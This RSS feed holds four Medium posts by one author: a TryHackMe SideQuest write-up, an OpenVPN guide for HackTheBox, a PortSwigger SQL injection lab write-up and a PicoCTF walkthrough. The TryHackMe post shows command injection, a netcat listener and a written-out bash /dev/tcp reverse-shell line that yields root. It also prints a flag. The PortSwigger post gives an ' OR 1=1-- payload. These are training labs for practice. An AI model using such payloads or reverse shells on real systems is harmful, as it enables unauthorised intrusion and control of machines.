<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hassan on Medium]]></title>
        <description><![CDATA[Stories by Hassan on Medium]]></description>
        <link>https://medium.com/@hassanbabar.saleem?source=rss-5ffda11ea46c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pCCF3A3JUrYW4a6Ibg_eVQ.jpeg</url>
            <title>Stories by Hassan on Medium</title>
            <link>https://medium.com/@hassanbabar.saleem?source=rss-5ffda11ea46c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 00:42:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hassanbabar.saleem/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQ1: The Unwinnable Game [TryHackMe Writeup]]]></title>
            <link>https://medium.com/@hassanbabar.saleem/sq1-the-unwinnable-game-tryhackme-writeup-8f673004bb14?source=rss-5ffda11ea46c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f673004bb14</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Hassan]]></dc:creator>
            <pubDate>Fri, 04 Dec 2026 00:18:34 GMT</pubDate>
            <atom:updated>2026-12-04T00:18:34.646Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*CVl-n_FUar_BHryi29aupw.png" /></figure><p>This is a writeup of TryHackMe’s SideQuest 2026 challenge 1</p><h3>First Flag</h3><p>First, when you get the machine IP, do an Nmap scanto see information about the OS and services running on that machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*RoIXtzfNFmu9o-eyLnRRNg.png" /></figure><p>Interesting, the 31337 port looks suspicious. Let’s explore it.</p><p>When I investigated, I was met with this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whACEvGr1dj7Jb60Rdyzqw.png" /></figure><p>Whatever and no matter how well I played, I failed to win the game, so I decided to play unfairly ;)</p><p>I opened developer tools and read the code, and in the end I found files, so I opened the game.js to understand the logic of the game.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*YIg1jjy6Rt9DvyCvMS0wGQ.png" /></figure><p>In game.js, I found this function which sets the score at the start of the round. What if I could modify the score at the start of the round?</p><p>We can utilize the Firefox DevTools script override feature for this</p><h3>What is Script override?</h3><p><em>Feature in Firefox DevTools that lets you replace a website’s live JavaScript file with a modified local copy of that JavaScript file that is stored on your computer</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*zwzvNjoR6_N6gh17cAbIxg.png" /></figure><p>To do that, go to DevTools by right-clicking on the website and clicking Inspect, then go to the Debugger tab and right-click on game.js and select “Add script override”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*ak3DZjtdKYfJPwAj-Jiy_A.png" /></figure><p>Then select the location where you want to store the local copy of game.js and click Save.</p><p>Then open the local copy of game.js that you saved on your system and modify the score value in the startGame() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*syzS7ntHI0HcVjLcpBCeMQ.png" /></figure><p>Save the file and then refresh the webpage, and now press play. You will see that your score will become 100 instead of 0 when you press play. Then you will be redirected to /vault, and you will get the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9_Vo9yjIASCmguwr0Zh0g.png" /></figure><h3>Second Flag</h3><p>Now we have an input field to enter names of household items. Let’s check if it’s vulnerable to command injection with a simple payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzhhdSpaavzFmy0TWcycTA.png" /></figure><p>So it is vulnerable to command injection. Let’s see what’s in the current directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*IjQ7izPvvpdlqmu9F6RCkg.png" /></figure><p>Let’s see what files and directories are there one directory up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*KKABmWM7GlXknk0PBqA9_g.png" /></figure><p>Read the user.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*aT4w69g92gG5OGEnqCL9aQ.png" /></figure><h3>Third Flag</h3><p>Third flag Description says: “The relay left notes to itself” . Lets try to establish reverse shell so we can see what notes the relay left to itself. go to <a href="https://www.revshells.com/">https://www.revshells.com/</a> and Search py and select Python3 #2 and enter your IP in IP &amp; Port field but let Port be 9001</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FmChvGNH80U0t-ZxdWjm7g.png" /></figure><p>Now start open a new terminal and start netcat to listen on port 9001 to capture the reverse shell.</p><pre>nc -nvlp 9001</pre><p>Copy the command from <a href="https://www.revshells.com/">https://www.revshells.com/</a> and go back to our machine webpage and paste the reverse shell command in the input box of the machine website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*0VBDVlJJeYAywgjAhO3WUg.png" /></figure><p>You will get a reverse shell shortly in theterminal where netcat was running on port 9001.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*GW0LUTJPhiVeACVR7GW-pw.png" /></figure><p>Now move one directory above to see its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*SL2L2N0IZMpMmFeXiuflKA.png" /></figure><p>Lets see the bash history to see what commands were entered before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*p6vY8ULkaVvq_ZE-N1fhLg.png" /></figure><p>Go to /opt/cypher-stream and view the 3rd flag by viewing the flag_enum.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*tk0SxLmY0ckJfDrCwf4bTg.png" /></figure><h3>Fourth Flag</h3><p>The bash history hints that the user was changed to operator, but before that they ran keygen.py. Let’s follow in its footsteps and see if we switch to the operator user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*q0yCaQtdI09hZRmLlQP9Gw.png" /></figure><p>I tried using the result of keygen.py as the password of the operator, and it worked.</p><p>Now we can see what files the operator user has by going to his home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*UTb_J93OIMAjrADv2Fl5JA.png" /></figure><h3>Last Flag</h3><p>When we read the README file, it tells us about putting some file in the maintenance directory. Let’s try putting reverse shell file in /maintenance.</p><pre>echo &quot;/bin/bash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP&gt;/1337 0&gt;&amp;1&quot; &gt; file.sh </pre><p><strong>NOTE: </strong>Use the IP through which you are connected to TryHackMe, as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*Ux3G6ln4EceM1IdNUHEk2A.png" /></figure><p>Now start Netcat on port 1337 for a root reverse shell.</p><pre>nc -nvlp 1337</pre><p>Now run the file.sh using bash</p><pre>bash file.sh</pre><p>After this, head over to the terminal where we used nc -nvlp 1337, and you will get a root reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*4FuAoKAjOlIcJs0pzfVs2g.png" /></figure><p>Go to /root and view root.txt for the last flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*6PVdZGmouAJySFzVZJ8uJQ.png" /></figure><p>Final Flag</p><pre>THM{the_yeti_trusted_too_soon}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f673004bb14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to connect to HTB Machines using OpenVPN [Linux Tutorial]]]></title>
            <link>https://medium.com/@hassanbabar.saleem/how-to-connect-to-htb-machines-using-openvpn-linux-tutorial-4aea4b78dba1?source=rss-5ffda11ea46c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4aea4b78dba1</guid>
            <category><![CDATA[htb-lab]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Hassan]]></dc:creator>
            <pubDate>Tue, 11 Aug 2026 19:25:25 GMT</pubDate>
            <atom:updated>2026-08-11T19:25:25.410Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*M6D1mE89sctfNWQFurFhWw.jpeg" /></figure><p>When I first started on HTB machines, I would do everything right at first but still couldn’t find the flag. Turns out I was finding the flag in my local mchine’s directories without actually connecting to the HTB machine :)</p><p>I know it’s silly, but I don’t want anyone else to go through this.</p><p><strong>Step 1: Download the OpenVPN file</strong></p><p>Head over to Connections and click on Connect on leftmost side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iD6hegepllgQggCDUJWd3A.png" /></figure><p>You will see these two options to connect to machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*gwOHi9Ps2jZrTomQUisxNw.png" /></figure><p>Click on OpenVPN and download the VPN file after selecting VPN Access and server settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*5-g2OuAN3y3rDVkRxluBKQ.png" /></figure><p>In your Linux OS, head over to the directory where you downloaded the OpenVPN file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*yHI2ifQMS5c1dnCekIYCRg.png" /></figure><p>To connect to this VPN, you need OpenVPN. To see if you have OpenVPN installed. Run the following command.</p><pre>openvpn --version</pre><p>If you don’t have OpenVPN installed, you can install it by following the command.</p><pre>sudo apt install openvpn</pre><p>You should see a result like this with a version, which confirms that OpenVPN is installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*UpYb3XYnGGHcou14hO4O7A.png" /></figure><p><strong>Step 2: Connecting to HTB using OpenVPN</strong></p><p>Now that we have OpenVPN, we can connect to Hack The Box labs. Run the following command.</p><pre>openvpn &lt;filename&gt;.ovpn</pre><p>Your filename might be different from mine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*G92QZ6m-xQq6QpLpycFeDQ.png" /></figure><p>You will know that you are connected when you see it at the end.</p><pre>Initialization Sequence Completeted</pre><p>Now leave this terminal window open; don’t close this window or you will lose the VPN connection and will need to connect again.</p><p>To verify you have been connected, you can run the <em>ifconfig</em> command, and you should see a tun0 connection like shown below.</p><pre>ifconfig</pre><pre>tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt;  mtu 1500</pre><p>Now you are connected to the HTB labs.</p><p><strong>Step 3: Attacking the HTB labs machines</strong></p><p>Now you can interact with the machines to solve the labs on HTB labs.</p><p>For demonstration, if you want to do Meow Machine, you will click on ‘<em>Start Machine</em>’ and it will spawn an IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q0vv6pNcVaAQXVJGIsYSWA.png" /></figure><p>Copy that IP address. You can interact with the machine in different ways. One way is to scan for open ports using nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*XLtSH580N9w8bzIXChKN9Q.png" /></figure><p>As we can see, the Telnet port 23 is open, and we can connect to the machine to retrieve the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*fv4GuH9irhrFVWrPSC6GSA.png" /><figcaption>Hint for Meow’s flag machine on HTB Labs</figcaption></figure><p>As the flag is in root’s home directory instead of a normal user’s home directory, we need to traverse through directories, so Telnet could be helpful in this case.</p><p>Connect to the machine using Telnet.</p><pre>telnet &lt;machine IP address&gt;</pre><p>There is a vulnerability in Telnet that if you use <em>root </em>as the login, you are able to log into the target over Telnet with a blank password. As you can see, I used root as the login, and I was able to log into the Meow machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*jX7TAeC7gS8dWOUZf-ouNg.png" /></figure><p>Now we can use the <em>ls </em>command to list the contents of root’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/161/1*TcPsEDZf4bB7Q00BxCkMng.png" /></figure><p>You can find the flag inside the flag.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*hgIX6Q7fS4M1DAC1ykdQzw.png" /></figure><p>Remember, unlike a normal user whose home directory is</p><pre>/home/&lt;yourusername&gt;</pre><p>root’s home directory is following.</p><pre>/root</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4aea4b78dba1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger lab WriteUp: SQL injection vulnerability in WHERE clause allowing retrieval of hidden…]]></title>
            <link>https://medium.com/@hassanbabar.saleem/portswigger-lab-writeup-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-3aa09c1c2268?source=rss-5ffda11ea46c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3aa09c1c2268</guid>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Hassan]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 18:28:15 GMT</pubDate>
            <atom:updated>2026-08-03T18:28:15.323Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger lab WriteUp: <a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data"><strong>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</strong></a></h3><p>This is the first lab on SQL injection vulnerability on PortSwigger Academy. We need to perform SQL injection to make the site show one or more unreleased products.</p><p>Start Burp Suite and turn on intercept mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZyNHU6bLL2l7UwdCY9ESQ.png" /></figure><p>When you open the lab site, it looks like image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UcK8efjiNwbIKyrsH8O_hA.png" /></figure><p>After that, click on any category, as the vulnerability lies in the product category filter. When you click any category, a Google warning page might open because all traffic is going through your local proxy server. Click ‘Proceed anyway ’ . You will see an HTTP request intercepted in the Burp Suite proxy tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*3dhsBOAZdiureMZTmDOhpg.png" /></figure><p>now you can send this request to repeater tab to customize the HTTP request and perform SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jx2vm3LFLyhF9hKmy7-F9w.png" /></figure><p>Now we can edit the ‘category=’ field to inject SQL injection into URL. As you can see in the image below, the server responded with 200 status code which means server successfully executed our malicious SQL query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*_uZFnDUKhH_U74Ga1lt1SA.png" /></figure><p>Now you can right-click the response field, copy the URL, open it in a browser, and you will see products that are unreleased and were not visible before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2HoZf-sBxx63qvyTXysJQ.png" /><figcaption>Site showing unreleased products after SQL injection</figcaption></figure><p>You can also perform this lab without Burp Suite by simply injecting SQL injection in URL field and pressing enter and you will also see unreleased products.</p><pre>https://0aee007e03b5db1680ffe45e00cb0082.web-security-academy.net/filter?category=&#39; OR 1=1--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*O0mOT5nHRRTK2R2HaIcekA.png" /></figure><p>This is a basic lab on how SQL injections are performed to teach security students and professionals how it is done so they can secure against this vulnerability. SQL injections are very common in web apps, and it is important to never put user input directly into SQL queries and always sanitize it to prevent them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3aa09c1c2268" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FANTASY CTF-PicoCTF Writeup]]></title>
            <link>https://medium.com/@hassanbabar.saleem/fantasy-ctf-picoctf-writeup-cc2f6759c422?source=rss-5ffda11ea46c------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc2f6759c422</guid>
            <category><![CDATA[gamechallenge]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[beginners-guide]]></category>
            <dc:creator><![CDATA[Hassan]]></dc:creator>
            <pubDate>Mon, 12 May 2025 10:21:04 GMT</pubDate>
            <atom:updated>2025-05-12T10:21:04.563Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey! I will guide you guys on how to solve “FANTASY CTF” lab in a PicoCTF. It is a story-based and simple challenge that involves using general knowledge.</p><ol><li><strong>Start the lab</strong></li></ol><p>To start the challenge, you need to copy the command “<strong>nc verbal-sleep.picoctf.net 55716</strong>” given in the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*YokUySyOMwmXOMrIA6O9HA.png" /></figure><p>Then paste this command into the PicoCTF webshell, which is a Web-based Linux shell environment for use with picoCTF challenges. It is located on the top right side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udyS--Ria7eZ9WiTN9aEuA.png" /></figure><p>Now click on it, and a web-based Linux shell will open, which will look something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*-xfkYtAoEC1zH0lkTt3Dbg.png" /></figure><p>Now, paste the command you copied from the challenge and run it.</p><h3><strong>2.Play the game</strong></h3><p>A text-based game will start playing, narrating a story about Eibhilin and Nyx.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*bDnLXxTVvDSLCV7iucdEvg.png" /></figure><p>Just keep pressing Enter until it prompts you to enter your choice from from three given options.</p><h3>3.Make the right choices to get the flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*r3xdmn_oTyxyqfvVHKtyOQ.png" /></figure><p>Be careful, to get the flag, you need to make the right choices. In the first selection, you need to decide how you will register. Only one of these choices is right. Think of it like when you apply for any competition, how do you register? Do you register using many accounts or share your account with somebody else, or just use a single account to register?</p><p>Logically, ‘<strong>c</strong>’ is the right option here.</p><p>Keep pressing Enter until it prompts you to enter your choice again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*zE0Frh_X2LfZFbe3gdSsng.png" /></figure><p>This choice concerns when Eibhilin is doing a challenge. You can either choose option ‘<strong>a’</strong> to play the game and search for the flag or choose option ‘<strong>b</strong>’ to submit another player’s flag.</p><p>The right answer is <strong>‘a’</strong> because submitting another player’s flag can result in disqualification from the competition.</p><p>Keep pressing Enter, and you will see the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*ns927nBBQHojL4XC23nc7Q.png" /></figure><p>Now, just copy and paste this flag, and you&#39;ve solved this challenge.</p><h3>Conclusion</h3><p>This is a beginner friendly lab in PicoCTF which rewards you with a flag if you make the right choices. Using a little bit of common sense helps solve this room effortlessly.</p><p>If you have any queries/suggestions, feel free to reach out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc2f6759c422" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>